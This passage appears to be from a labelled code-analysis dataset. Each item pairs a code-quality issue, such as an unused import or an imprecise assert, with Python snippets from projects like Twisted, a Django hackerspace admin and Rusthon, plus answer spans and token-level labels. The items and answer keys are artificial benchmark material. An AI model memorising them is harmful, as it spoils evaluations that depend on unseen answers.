"\\u\\u\\uNL\\u\\u\\u_", "class_", "Basic", "Auth", "Middleware_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Auth", "Middleware_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "process", "\\u", "request_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "authentication_", "=_", "request_", "._", "META_", "._", "get_", "(_", "'", "HTTP", "\\u", "AUTHORIZATION", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "authentication_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "(_", "auth", "meth_", ",_", "auth_", ")_", "=_", "authentication_", "._", "split_", "(_", "'", " ", "'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "'", "basic", "'_", "==_", "auth", "meth_", "._", "lower_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "auth_", "=_", "auth_", "._", "strip_", "(_", ")_", "._", "decode_", "(_", "'", "base64", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "username_", ",_", "password_", "=_", "auth_", "._", "split_", "(_", "':'_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user_", "=_", "authenticate_", "(_", "username_", "=_", "username_", ",_", "password_", "=_", "password_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "user_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "user_", "._", "is", "\\u", "active_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "auth", "\\u", "login_", "(_", "request_", ",_", "user_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 0, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Imprecise assert
kuri65536/python-for-android/python-modules/twisted/twisted/words/test/test_jabberjid.py
[ { "content": " def test_equalityWithNonJIDs(self):\n \"\"\"\n Test JID equality.\n \"\"\"\n j = jid.JID(\"user@host/resource\")\n self.assertFalse(j == 'user@host/resource')", "metadata": "root.JIDTest.test_equalityWithNonJIDs", "header": "['class', 'JIDTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 173 } ]
[ { "span": "self.assertFalse(j == 'user@host/resource')", "start_line": 178, "start_column": 8, "end_line": 178, "end_column": 51 } ]
[]
1
true
[ "[CLS]_", "Imp", "reci", "se_", "assert_", "[SEP]_", "class_", "JID", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "equality", "With", "Non", "JID", "s_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "JID", " ", "equality", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "j_", "=_", "jid_", "._", "JID", "_", "(_", "\"", "user", "@", "host", "/", "resource", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "False_", "(_", "j_", "==_", "'", "user", "@", "host", "/", "resource", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2 ]
Unused import
hackerspacesg/hackdo/hado/admin_site.py
[ { "content": "# -*- coding: utf-8; indent-tabs-mode: t; python-indent: 4; tab-width: 4 -*-\nimport datetime\n\nfrom django.contrib.admin.sites import AdminSite\nfrom django.db.models import Q\nfrom django.contrib import messages\nfrom django.shortcuts import render\n\nfrom hado.models import *\nfrom hado.forms import PaymentFormAdmin, PaymentFormAdminFormset\n\n\n# Subclassing a custom admin to provide a custom interface\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class HackdoAdmin(AdminSite):\n\n\n\n", "metadata": "root.HackdoAdmin", "header": "['module', '___EOS___']", "index": 13 }, { "content": "\tdef index(self, request):\n\t\t'''This view forms the admin dashboard for HackDo'''\n\n\t\t# Members stats\n\t\tmembers = {}\n\t\tusers = User.objects.select_related('contracts')\n\t\tmembers['total'] = len(users)\n\n\t\tmembers['active'] = Contract.objects.filter(ctype__desc='Membership',\n\t\t status='ACT').count()\n\t\tmembers['lapsed'] = Contract.objects.filter(ctype__desc='Membership',\n\t\t status='LAP').count()\n\n\t\t# Income stats\n\t\tincome = {}\n\t\tthis_month = datetime.date.today().month\n\t\tpayments_this_month = Payment.objects.filter(\n\t\t\tdate_paid__month=this_month)\n\t\t# Get ContracTypes\n\t\tctypes = ContractType.objects.all()\n\t\tfor c in ctypes:\n\t\t\tincome[c.desc] = payments_this_month \\\n\t\t\t .filter(contract__ctype__desc=c.desc) \\\n\t\t\t\t.aggregate(Sum('amount'))['amount__sum'] or 0.0\n\n\n\t\t# Supposed income this month\n\t\tincome['summary'] = {}\n\t\tincome['summary']['supposed'] = \\\n\t\t Contract.objects \\\n\t\t .filter(Q(status='ACT') | Q(status='LAP')) \\\n\t\t .aggregate(Sum('tier__fee'))['tier__fee__sum'] or 0.0\n\n\t\tincome['summary']['actual'] = \\\n\t\t payments_this_month.aggregate(Sum('amount'))['amount__sum'] or 0.0\n\n\t\tincome['summary']['shortfall'] = \\\n\t\t income['summary']['supposed'] - income['summary']['actual']\n\n\n\t\t# Incoming Payments pending verification\n\t\tif request.method == 'POST':\n\t\t\tpformset = PaymentFormAdminFormset(\n\t\t\t\trequest.POST, queryset=Payment.objects.filter(verified=False))\n\n\t\t\tif pformset.is_valid():\n\t\t\t\tpformset.save()\n\n\t\t\t\t# On success, add a note\n\t\t\t\tmessages.success(request, \"Payments verified\")\n\t\t\telse:\n\t\t\t\tprint pformset.errors\n\n\t\t# Create a new formset anyway\n\t\tpformset = PaymentFormAdminFormset(\n\t\t\tqueryset=Payment.objects.filter(verified=False))\n\n\t\treturn render(request, 'admin/index.html',\n\t\t {'members':members, 'income':income, 'pformset':pformset})", "metadata": "root.HackdoAdmin.index", "header": "['class', 'HackdoAdmin', '(', 'AdminSite', ')', ':', '___EOS___']", "index": 15 }, { "content": "\tdef lapsed_contracts(self, request):\n\t\t'''Shows details about lapsed contracts'''\n\t\tpass", "metadata": "root.HackdoAdmin.lapsed_contracts", "header": "['class', 'HackdoAdmin', '(', 'AdminSite', ')', ':', '___EOS___']", "index": 77 } ]
[ { "span": "from hado.forms import PaymentFormAdmin, PaymentFormAdminFormset", "start_line": 9, "start_column": 0, "end_line": 9, "end_column": 64 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "-*-", " ", "codi", "ng", ":", " ", "utf", "-", "8", ";", " ", "indent", "-", "tabs", "-", "mode", ":", " ", "t", ";", " ", "python", "-", "indent", ":", " ", "4", ";", " ", "tab", "-", "widt", "h", ":", " ", "4", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "django_", "._", "contrib_", "._", "admin_", "._", "sites_", "import_", "Admi", "n", "Site_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "db_", "._", "models_", "import_", "Q_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "contrib_", "import_", "messages_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "django_", "._", "shortcuts_", "import_", "render_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "had", "o_", "._", "models_", "import_", "*_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "had", "o_", "._", "forms_", "import_", "Payment", "Form", "Admin_", ",_", "Payment", "Form", "Admi", "n", "Form", "set_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Subc", "lass", "ing", " ", "a", " ", "custom", " ", "admin", " ", "to", " ", "provide", " ", "a", " ", "custom", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Hack", "do", "Admin_", "(_", "Admi", "n", "Site_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Hack", "do", "Admin_", "(_", "Admi", "n", "Site_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "_", "def_", "index_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "'''", "Thi", "s", " ", "view", " ", "forms", " ", "the", " ", "admin", " ", "dash", "board", " ", "for", " ", "Hack", "Do", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Mem", "bers", " ", "stats_", "\\u\\u\\uNL\\u\\u\\u_", "members_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "users_", "=_", "User_", "._", "objects_", "._", "select", "\\u", "related_", "(_", "'", "contracts", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "members_", "[_", "'", "total", "'_", "]_", "=_", "len_", "(_", "users_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "members_", "[_", "'", "active", "'_", "]_", "=_", "Contract", "_", "._", "objects_", "._", "filter_", "(_", "ctype", "\\u\\u", "desc_", "=_", "'", "Membership", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "'", "ACT", "'_", ")_", "._", "count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "members_", "[_", "'", "lap", "sed", "'_", "]_", "=_", "Contract", "_", "._", "objects_", "._", "filter_", "(_", "ctype", "\\u\\u", "desc_", "=_", "'", "Membership", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "status_", "=_", "'", "LA", "P", "'_", ")_", "._", "count_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Income", " ", "stats_", "\\u\\u\\uNL\\u\\u\\u_", "income", "_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "this", "\\u", "month_", "=_", "datetime_", "._", "date_", "._", "today_", "(_", ")_", "._", "month_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "payments", "\\u", "this", "\\u", "month_", "=_", "Payment", "_", "._", "objects_", "._", "filter_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "date", "\\u", "paid", "\\u\\u", "month_", "=_", "this", "\\u", "month_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Get", " ", "Cont", "rac", "Types_", "\\u\\u\\uNL\\u\\u\\u_", "ctypes_", "=_", "Contract", "Type_", "._", "objects_", "._", "all_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "ctypes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "income", "_", "[_", "c_", "._", "desc_", "]_", "=_", "payments", "\\u", "this", "\\u", "month_", "._", "filter_", "(_", "contract", "\\u\\u", "ctype", "\\u\\u", "desc_", "=_", "c_", "._", "desc_", ")_", "._", "aggregate_", "(_", "Sum_", "(_", "'", "amo", "unt", "'_", ")_", ")_", "[_", "'", "amo", "unt", "\\u\\u", "sum", "'_", "]_", "or_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Supp", "ose", "d", " ", "income", " ", "this", " ", "month_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "income", "_", "[_", "'", "summar", "y", "'_", "]_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "income", "_", "[_", "'", "summar", "y", "'_", "]_", "[_", "'", "supposed", "'_", "]_", "=_", "Contract", "_", "._", "objects_", "._", "filter_", "(_", "Q_", "(_", "status_", "=_", "'", "ACT", "'_", ")_", "|_", "Q_", "(_", "status_", "=_", "'", "LA", "P", "'_", ")_", ")_", "._", "aggregate_", "(_", "Sum_", "(_", "'", "tier", "\\u\\u", "fe", "e", "'_", ")_", ")_", "[_", "'", "tier", "\\u\\u", "fe", "e\\u", "\\u", "sum", "'_", "]_", "or_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "income", "_", "[_", "'", "summar", "y", "'_", "]_", "[_", "'", "actual", "'_", "]_", "=_", "payments", "\\u", "this", "\\u", "month_", "._", "aggregate_", "(_", "Sum_", "(_", "'", "amo", "unt", "'_", ")_", ")_", "[_", "'", "amo", "unt", "\\u\\u", "sum", "'_", "]_", "or_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "income", "_", "[_", "'", "summar", "y", "'_", "]_", "[_", "'", "short", "fall", "'_", "]_", "=_", "income", "_", "[_", "'", "summar", "y", "'_", "]_", "[_", "'", "supposed", "'_", "]_", "-_", "income", "_", "[_", "'", "summar", "y", "'_", "]_", "[_", "'", "actual", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Inco", "ming", " ", "Payment", "s", " ", "pend", "ing", " ", "verification", "_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "request_", "._", "method_", "==_", "'", "POST", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t_", "pfo", "rmse", "t_", "=_", "Payment", "Form", "Admi", "n", "Form", "set_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "._", "POST_", ",_", "queryset_", "=_", "Payment", "_", "._", "objects_", "._", "filter_", "(_", "verified_", "=_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "pfo", "rmse", "t_", "._", "is", "\\u", "valid_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "pfo", "rmse", "t_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "On", " ", "success", ",", " ", "add", " ", "a", " ", "note_", "\\u\\u\\uNL\\u\\u\\u_", "messages_", "._", "success_", "(_", "request_", ",_", "\"", "Payment", "s", " ", "verifie", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t\t\t_", "print_", "pfo", "rmse", "t_", "._", "errors_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Creat", "e", " ", "a", " ", "new", " ", "formset", " ", "anyway", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "pfo", "rmse", "t_", "=_", "Payment", "Form", "Admi", "n", "Form", "set_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "queryset_", "=_", "Payment", "_", "._", "objects_", "._", "filter_", "(_", "verified_", "=_", "False_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "render_", "(_", "request_", ",_", "'", "admin", "/", "index", ".", "html", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "member", "s", "'_", ":_", "members_", ",_", "'", "income", "'_", ":_", "income", "_", ",_", "'", "pfo", "rmse", "t", "'_", ":_", "pfo", "rmse", "t_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Hack", "do", "Admin_", "(_", "Admi", "n", "Site_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "lap", "sed", "\\u", "contracts", "_", "(_", "self_", ",_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u\t", "\t_", "'''", "Show", "s", " ", "deta", "il", "s", " ", "abo", "ut", " ", "lap", "sed", " ", "contracts", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pass_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
rusthon/Rusthon/rusthon.py
[ { "content": "def import_md( url, modules=None, index_offset=0, force_tagname=None ):\n\tassert modules is not None\n\tdoc = []\n\tcode = []\n\tcode_links = []\n\tcode_idirs = []\n\tcode_defines = []\n\tlang = False\n\tin_code = False\n\tindex = 0\n\tprevline = None\n\ttag = force_tagname or None\n\tfences = 0\n\tbase_path, markdown_name = os.path.split(url)\n\t#data = open(url, 'rb').read().decode('utf-8')\n\timport codecs\n\tdata = codecs.open(url, 'r', 'utf-8').read()\n\n\tfor line in data.splitlines():\n\t\tif line.startswith('* @link:'):\n\t\t\tcode_links.append( os.path.expanduser(line.split(':')[-1]) )\n\t\telif line.startswith('* @include:'):\n\t\t\tcode_idirs.append( os.path.expanduser(line.split(':')[-1]) )\n\t\telif line.startswith('* @define:'):\n\t\t\tcode_defines.extend( line.split(':')[-1].strip().split() )\n\t\t# Start or end of a code block.\n\t\telif line.strip().startswith('```'):\n\t\t\tfences += 1\n\t\t\t# End of a code block.\n\t\t\tif in_code:\n\t\t\t\tif lang:\n\t\t\t\t\tif lang=='python' and 'from rusthon import *' in code:\n\t\t\t\t\t\trusthonpy = []\n\t\t\t\t\t\tfor rln in open(__file__, 'rb').read().splitlines():\n\t\t\t\t\t\t\tif rln == 'if __name__ == \"__main__\":':\n\t\t\t\t\t\t\t\tbreak\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\trusthonpy.append(rln)\n\t\t\t\t\t\trusthonpy = '\\n'.join(rusthonpy)\n\t\t\t\t\t\tutfheader = u'# -*- coding: utf-8 -*-\\n'\n\t\t\t\t\t\tcode.insert(0, utfheader + BOOTSTRAPED + '\\n' + rusthonpy.decode('utf-8'))\n\t\t\t\t\t\tcode.pop(code.index('from rusthon import *'))\n\n\t\t\t\t\tp, n = os.path.split(url)\n\t\t\t\t\tmod = {\n\t\t\t\t\t\t'path':p, \n\t\t\t\t\t\t'markdown':url, \n\t\t\t\t\t\t'code':'\\n'.join(code), \n\t\t\t\t\t\t'index':index+index_offset, \n\t\t\t\t\t\t'tag':tag,\n\t\t\t\t\t\t'links':code_links,\n\t\t\t\t\t\t'include-dirs':code_idirs,\n\t\t\t\t\t\t'defines':code_defines,\n\t\t\t\t\t}\n\t\t\t\t\tif tag and '.' in tag:\n\t\t\t\t\t\text = tag.split('.')[-1].lower()\n\t\t\t\t\t\t#if ext in 'xml html js css py c cs h cpp hpp rust go java json'.split():\n\t\t\t\t\t\tmod['name'] = tag\n\n\t\t\t\t\tmodules[ lang ].append( mod )\n\t\t\t\tin_code = False\n\t\t\t\tcode = []\n\t\t\t\tcode_links = []\n\t\t\t\tcode_idirs = []\n\t\t\t\tindex += 1\n\t\t\t# Start of a code block.\n\t\t\telse:\n\t\t\t\tin_code = True\n\t\t\t\tif prevline and prevline.strip().startswith('@'):\n\t\t\t\t\ttag = prevline.strip()[1:]\n\t\t\t\telse:\n\t\t\t\t\ttag = None\n\n\t\t\t\tlang = line.strip().split('```')[-1]\n\t\t# The middle of a code block.\n\t\telif in_code:\n\t\t\tcode.append(line)\n\t\telse:\n\t\t\t## import submarkdown file ##\n\t\t\tif line.startswith('* ') and '@import' in line and line.count('[')==1 and line.count(']')==1 and line.count('(')==1 and line.count(')')==1:\n\t\t\t\tsubmarkdown = line.split('(')[-1].split(')')[0].strip()\n\t\t\t\tsubpath = os.path.join(base_path, submarkdown)\n\t\t\t\tif not os.path.isfile(subpath):\n\t\t\t\t\traise RuntimeError('error: can not find markdown file: '+subpath)\n\t\t\t\t#print 'importing submarkdown'\n\t\t\t\t#print subpath\n\t\t\t\tindex += import_md( subpath, modules, index_offset=index )\n\n\t\t\tdoc.append(line)\n\n\t\tprevline = line\n\n\tmodules['markdown'] += '\\n'.join(doc)\n\tif fences % 2:\n\t\traise SyntaxError('invalid markdown - unclosed tripple back quote fence in: %s' %url)\n\n\n\treturn index", "metadata": "root.import_md", "header": "['module', '___EOS___']", "index": 378 }, { "content": "def build( modules, module_path, datadirs=None ):\n\tif '--debug-build' in sys.argv:\n\t\traise RuntimeError(modules)\n\toutput = {'executeables':[], 'rust':[], 'c':[], 'c++':[], 'c#':[], 'go':[], 'javascript':[], 'java':[], 'xml':[], 'json':[], 'python':[], 'html':[], 'verilog':[], 'nim':[], 'lua':[], 'dart':[], 'datadirs':datadirs, 'datafiles':{}}\n\tpython_main = {'name':'main.py', 'script':[]}\n\tgo_main = {'name':'main.go', 'source':[]}\n\ttagged = {}\n\tlink = []\n\tgiws = [] ## xml jni generator so c++ can call into java, blocks tagged with @gwis are compiled and linked with the final exe.\n\tjava2rusthon = []\n\tnim_wrappers = []\n\tlibdl = False ## provides: dlopen, dlclose, for dynamic libs. Nim needs this\n\tcached_json = {}\n\tgyp_builds = {}\n\n\tif modules['bash']:\n\t\tfor mod in modules['bash']:\n\t\t\tif 'tag' in mod and mod['tag']:\n\t\t\t\ttag = mod['tag']\n\t\t\t\tif tag.startswith('http://') or tag.startswith('https://'):\n\t\t\t\t\tif not tag.endswith('.git'):\n\t\t\t\t\t\traise SyntaxError('only git repos links are allowed: '+tag)\n\t\t\t\t\tif not os.path.isdir(GITCACHE):\n\t\t\t\t\t\tprint 'making new rusthon cache folder: ' + GITCACHE\n\t\t\t\t\t\tos.mkdir(GITCACHE)\n\n\t\t\t\t\tgitname = tag.split('/')[-1][:-4]\n\t\t\t\t\tprojectdir = os.path.join(GITCACHE, gitname)\n\n\t\t\t\t\trebuild = True\n\t\t\t\t\tif gitname not in os.listdir(GITCACHE):\n\t\t\t\t\t\tcmd = ['git', 'clone', tag]\n\t\t\t\t\t\tsubprocess.check_call(cmd, cwd=GITCACHE)\n\t\t\t\t\telif '--git-sync' in sys.argv:\n\t\t\t\t\t\tcmd = ['git', 'pull']\n\t\t\t\t\t\tsubprocess.check_call(cmd, cwd=projectdir)\n\t\t\t\t\telse:\n\t\t\t\t\t\trebuild = False\n\n\t\t\t\t\tif rebuild or '--force-rebuild-deps' in sys.argv:\n\t\t\t\t\t\tprint 'rebuilding git repo: ' + tag\n\t\t\t\t\t\t## TODO restrict the bash syntax allowed here,\n\t\t\t\t\t\t## or build it in a sandbox or docker container.\n\t\t\t\t\t\tfor line in mod['code'].splitlines():\n\t\t\t\t\t\t\tif not line.strip(): continue\n\t\t\t\t\t\t\tif not is_restricted_bash(line):\n\t\t\t\t\t\t\t\traise SyntaxError('bash build script syntax is restricted:\\n'+line)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tprint '>>'+line\n\t\t\t\t\t\t\tsubprocess.check_call( line.split(), cwd=projectdir )\n\n\t\t\t\telse:\n\t\t\t\t\toutput['datafiles'][tag] = mod['code']\n\n\n\tif modules['gyp']:\n\t\tfor mod in modules['gyp']:\n\t\t\tif 'tag' in mod and mod['tag']:\n\t\t\t\tif not mod['tag'] != 'binding.gyp':\n\t\t\t\t\traise RuntimeError('nw-gyp requires the gyp file is named `binding.gyp`')\n\n\t\t\toutput['datafiles']['binding.gyp'] = mod['code']\n\n\t\t\tgypcfg = json.loads( mod['code'].replace(\"'\", '\"') )\n\t\t\t#if len(gypcfg['targets']) > 1:\n\t\t\t#\tcontinue\n\t\t\tfor gtarget in gypcfg['targets']:\n\t\t\t\tfor gsrc in gtarget['sources']:\n\t\t\t\t\tgyp_builds[ gsrc ] = {\n\t\t\t\t\t\t'gyp':mod['code'],\n\t\t\t\t\t\t'src': None\n\t\t\t\t\t}\n\n\n\tif modules['javascript']:\n\t\tfor mod in modules['javascript']:\n\t\t\tif 'tag' in mod and mod['tag']:\n\t\t\t\ttagged[ mod['tag'] ] = mod['code']\n\t\t\t\tif '.' in mod['tag']:\n\t\t\t\t\toutput['datafiles'][mod['tag']] = mod['code']\n\n\tif modules['json']:\n\t\tfor mod in modules['json']:\n\t\t\tcached_json[ mod['name'] ] = mod['code']\n\t\t\toutput['json'].append(mod)\n\n\tif modules['c#']:\n\t\tfor mod in modules['c#']:\n\t\t\toutput['c#'].append(mod)\n\n\tif modules['elm']:\n\t\tfor mod in modules['elm']:\n\t\t\ttmpelm = tempfile.gettempdir() + '/MyApp.elm'\n\t\t\ttmpjs = tempfile.gettempdir() + '/elm-output.js'\n\t\t\topen(tmpelm, 'wb').write(mod['code'])\n\t\t\tsubprocess.check_call(['elm-make', tmpelm, '--output', tmpjs])\n\t\t\telmdata = open(tmpjs,'rb').read()\n\t\t\toutput['datafiles'][mod['tag']] = elmdata\n\t\t\ttagged[ mod['tag'] ] = elmdata\n\n\n\tif modules['coffee']:\n\t\tfor mod in modules['coffee']:\n\t\t\ttmpcoff = tempfile.gettempdir() + '/temp.coffee'\n\t\t\ttmpjs = 